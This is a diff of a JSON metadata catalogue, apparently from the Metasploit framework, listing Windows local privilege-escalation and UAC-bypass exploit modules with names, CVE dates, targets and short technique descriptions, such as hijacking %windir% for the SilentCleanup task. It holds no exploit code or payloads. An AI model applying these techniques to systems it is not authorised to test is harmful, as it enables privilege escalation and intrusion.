"meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/applocker_bypass": { "name": "AppLocker Execution Prevention Bypass", "fullname": "exploit/windows/local/applocker_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-03", "type": "exploit", @@ -178154,16 +183321,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/applocker_bypass.rb", "is_install_path": true, "ref_name": "windows/local/applocker_bypass", @@ -178171,21 +183334,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/appxsvc_hard_link_privesc": { "name": "AppXSvc Hard Link Privilege Escalation", "fullname": "exploit/windows/local/appxsvc_hard_link_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-04-09", "type": "exploit", @@ -178205,16 +183373,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/appxsvc_hard_link_privesc.rb", "is_install_path": true, "ref_name": "windows/local/appxsvc_hard_link_privesc", @@ -178222,21 +183386,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/ask": { "name": "Windows Escalate UAC Execute RunAs", "fullname": "exploit/windows/local/ask", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-01-03", "type": "exploit", @@ -178244,23 +183413,17 @@ "mubix ", "b00stfr3ak" ], - "description": "This module will attempt to elevate execution level using\n the ShellExecute undocumented RunAs flag to bypass low\n UAC settings.", - "references": [ - - ], + "description": "This module will attempt to elevate execution level using\n the ShellExecute undocumented RunAs flag to bypass low\n UAC settings.", + "references": [], "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/ask.rb", "is_install_path": true, "ref_name": "windows/local/ask", @@ -178268,21 +183431,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bits_ntlm_token_impersonation": { "name": "SYSTEM token impersonation through NTLM bits authentication on missing WinRM Service.", "fullname": "exploit/windows/local/bits_ntlm_token_impersonation", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2019-12-06", "type": "exploit", @@ -178300,12 +183468,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -178331,16 +183495,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bthpan": { "name": "MS14-062 Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation", "fullname": "exploit/windows/local/bthpan", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-07-18", "type": "exploit", @@ -178358,16 +183518,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bthpan.rb", "is_install_path": true, "ref_name": "windows/local/bthpan", @@ -178375,21 +183531,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac": { "name": "Windows Escalate UAC Protection Bypass", "fullname": "exploit/windows/local/bypassuac", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-31", "type": "exploit", @@ -178405,17 +183566,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac", @@ -178423,21 +183580,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_comhijack": { "name": "Windows Escalate UAC Protection Bypass (Via COM Handler Hijack)", "fullname": "exploit/windows/local/bypassuac_comhijack", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1900-01-01", "type": "exploit", @@ -178454,12 +183616,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -178486,16 +183644,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_dotnet_profiler": { "name": "Windows Escalate UAC Protection Bypass (Via dot net profiler)", "fullname": "exploit/windows/local/bypassuac_dotnet_profiler", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-17", "type": "exploit", @@ -178512,16 +183666,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2023-07-21 15:34:49 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/local/bypassuac_dotnet_profiler.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_dotnet_profiler", @@ -178535,24 +183685,18 @@ "SideEffects": [ "artifacts-on-disk" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_eventvwr": { "name": "Windows Escalate UAC Protection Bypass (Via Eventvwr Registry Key)", "fullname": "exploit/windows/local/bypassuac_eventvwr", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-15", "type": "exploit", @@ -178569,17 +183713,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac_eventvwr.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_eventvwr", @@ -178587,21 +183727,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_fodhelper": { "name": "Windows UAC Protection Bypass (Via FodHelper Registry Key)", "fullname": "exploit/windows/local/bypassuac_fodhelper", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-05-12", "type": "exploit", @@ -178618,17 +183763,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac_fodhelper.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_fodhelper", @@ -178636,21 +183777,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_injection": { "name": "Windows Escalate UAC Protection Bypass (In Memory Injection)", "fullname": "exploit/windows/local/bypassuac_injection", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-12-31", "type": "exploit", @@ -178670,17 +183816,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection", @@ -178688,21 +183830,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_injection_winsxs": { "name": "Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS", "fullname": "exploit/windows/local/bypassuac_injection_winsxs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-06", "type": "exploit", @@ -178716,17 +183863,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac_injection_winsxs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_injection_winsxs", @@ -178734,21 +183877,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_sdclt": { "name": "Windows Escalate UAC Protection Bypass (Via Shell Open Registry Key)", "fullname": "exploit/windows/local/bypassuac_sdclt", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-03-17", "type": "exploit", @@ -178765,16 +183913,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/local/bypassuac_sdclt.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sdclt", @@ -178789,24 +183933,18 @@ "artifacts-on-disk", "screen-effects" ], - "Reliability": [ - - ] + "Reliability": [] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_silentcleanup": { "name": "Windows Escalate UAC Protection Bypass (Via SilentCleanup)", "fullname": "exploit/windows/local/bypassuac_silentcleanup", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-02-24", "type": "exploit", @@ -178817,7 +183955,7 @@ "lokiuox", "Carter Brainerd (cbrnrd)" ], - "description": "There's a task in Windows Task Scheduler called \"SilentCleanup\" which, while it's executed as Users, automatically runs with elevated privileges.\n When it runs, it executes the file %windir%\\system32\\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,\n %windir% (normally pointing to C:\\Windows) can be changed to point to whatever we want, and it'll run as admin.", + "description": "There's a task in Windows Task Scheduler called \"SilentCleanup\" which, while it's executed as Users, automatically runs with elevated privileges.\n When it runs, it executes the file %windir%\\system32\\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,\n %windir% (normally pointing to C:\\Windows) can be changed to point to whatever we want, and it'll run as admin.", "references": [ "URL-https://tyranidslair.blogspot.com/2017/05/exploiting-environment-variables-in.html", "URL-https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/", @@ -178827,16 +183965,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Microsoft Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac_silentcleanup.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_silentcleanup", @@ -178844,22 +183978,27 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter", "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_sluihijack": { "name": "Windows UAC Protection Bypass (Via Slui File Handler Hijack)", "fullname": "exploit/windows/local/bypassuac_sluihijack", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-01-15", "type": "exploit", @@ -178875,17 +184014,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x86", "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac_sluihijack.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_sluihijack", @@ -178893,21 +184028,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_vbs": { "name": "Windows Escalate UAC Protection Bypass (ScriptHost Vulnerability)", "fullname": "exploit/windows/local/bypassuac_vbs", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-22", "type": "exploit", @@ -178923,16 +184063,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/bypassuac_vbs.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_vbs", @@ -178940,21 +184076,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_windows_store_filesys": { "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe)", "fullname": "exploit/windows/local/bypassuac_windows_store_filesys", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-08-22", "type": "exploit", @@ -178972,16 +184113,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/bypassuac_windows_store_filesys.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_windows_store_filesys", @@ -178992,22 +184129,24 @@ "SideEffects": [ "artifacts-on-disk", "screen-effects" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/bypassuac_windows_store_reg": { "name": "Windows 10 UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry", "fullname": "exploit/windows/local/bypassuac_windows_store_reg", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2019-02-19", "type": "exploit", @@ -179025,16 +184164,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/bypassuac_windows_store_reg.rb", "is_install_path": true, "ref_name": "windows/local/bypassuac_windows_store_reg", @@ -179045,22 +184180,24 @@ "SideEffects": [ "artifacts-on-disk", "screen-effects" + ], + "Stability": [ + "unknown-stability" + ], + "Reliability": [ + "unknown-reliability" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/canon_driver_privesc": { "name": "Canon Driver Privilege Escalation", "fullname": "exploit/windows/local/canon_driver_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-08-07", "type": "exploit", @@ -179075,12 +184212,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], @@ -179106,16 +184239,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/capcom_sys_exec": { "name": "Windows Capcom.sys Kernel Execution Exploit (x64 only)", "fullname": "exploit/windows/local/capcom_sys_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1999-01-01", "type": "exploit", @@ -179130,16 +184259,12 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2023-09-08 13:05:44 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/capcom_sys_exec.rb", "is_install_path": true, "ref_name": "windows/local/capcom_sys_exec", @@ -179147,21 +184272,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/comahawk": { "name": "Microsoft UPnP Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/comahawk", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-12", "type": "exploit", @@ -179182,16 +184312,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/comahawk.rb", "is_install_path": true, "ref_name": "windows/local/comahawk", @@ -179199,21 +184325,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/current_user_psexec": { "name": "PsExec via Current User Token", "fullname": "exploit/windows/local/current_user_psexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1999-01-01", "type": "exploit", @@ -179230,16 +184361,12 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/local/current_user_psexec.rb", "is_install_path": true, "ref_name": "windows/local/current_user_psexec", @@ -179247,21 +184374,26 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": [ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2017_8464_lnk_lpe": { "name": "LNK Code Execution Vulnerability", "fullname": "exploit/windows/local/cve_2017_8464_lnk_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-06-13", "type": "exploit", @@ -179282,17 +184414,13 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64", "Windows x86" ], - "mod_time": "2023-03-13 10:31:27 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb", "is_install_path": true, "ref_name": "windows/local/cve_2017_8464_lnk_lpe", @@ -179305,22 +184433,19 @@ ], "SideEffects": [ "artifacts-on-disk" + ], + "Reliability": [ + "unknown-reliability" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2018_8453_win32k_priv_esc": { "name": "Windows NtUserSetWindowFNID Win32k User Callback", "fullname": "exploit/windows/local/cve_2018_8453_win32k_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-10-09", "type": "exploit", @@ -179341,16 +184466,12 @@ "platform": "Windows", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1703 (Build 15063) x86" ], - "mod_time": "2023-05-25 12:45:30 +0000", + "mod_time": "2025-06-25 09:25:53 +0000", "path": "/modules/exploits/windows/local/cve_2018_8453_win32k_priv_esc.rb", "is_install_path": true, "ref_name": "windows/local/cve_2018_8453_win32k_priv_esc", @@ -179364,22 +184485,21 @@ ], "Stability": [ "crash-os-restarts" + ], + "Reliability": [ + "unknown-reliability" ] }, "session_types": [ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2019_1458_wizardopium": { "name": "Microsoft Windows Uninitialized Variable Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2019_1458_wizardopium", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-12-10", "type": "exploit", @@ -179399,12 +184519,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x64" ], @@ -179430,16 +184546,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_0668_service_tracing": { "name": "Service Tracing Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_0668_service_tracing", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-11", "type": "exploit", @@ -179460,12 +184572,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179491,16 +184599,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_0787_bits_arbitrary_file_move": { "name": "Background Intelligent Transfer Service Arbitrary File Move Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-03-10", "type": "exploit", @@ -179521,12 +184625,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows DLL Dropper" ], @@ -179552,16 +184652,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_0796_smbghost": { "name": "SMBv3 Compression Buffer Overflow", "fullname": "exploit/windows/local/cve_2020_0796_smbghost", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2020-03-13", "type": "exploit", @@ -179579,12 +184675,8 @@ "platform": "Windows", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 10 v1903-1909 x64" ], @@ -179617,16 +184709,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1048_printerdemon": { "name": "Microsoft Spooler Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_1048_printerdemon", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-11-04", "type": "exploit", @@ -179644,12 +184732,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -179676,16 +184760,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1054_drawiconex_lpe": { "name": "Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation", "fullname": "exploit/windows/local/cve_2020_1054_drawiconex_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-02-20", "type": "exploit", @@ -179707,12 +184787,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 7 x64" ], @@ -179738,16 +184814,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1313_system_orchestrator": { "name": "Windows Update Orchestrator unchecked ScheduleWork call", "fullname": "exploit/windows/local/cve_2020_1313_system_orchestrator", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-04", "type": "exploit", @@ -179763,12 +184835,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows x64" ], @@ -179783,9 +184851,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -179795,16 +184861,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_1337_printerdemon": { "name": "Microsoft Spooler Local Privilege Elevation Vulnerability", "fullname": "exploit/windows/local/cve_2020_1337_printerdemon", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-11-04", "type": "exploit", @@ -179825,12 +184887,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -179845,9 +184903,7 @@ "Stability": [ "crash-safe" ], - "Reliability": [ - - ], + "Reliability": [], "SideEffects": [ "ioc-in-logs", "artifacts-on-disk" @@ -179857,16 +184913,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_windows/local/cve_2020_17136": { "name": "CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP", "fullname": "exploit/windows/local/cve_2020_17136", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-03-10", "type": "exploit", @@ -179883,12 +184935,8 @@ "platform": "Windows", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows DLL Dropper" ], @@ -179914,16 +184962,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, 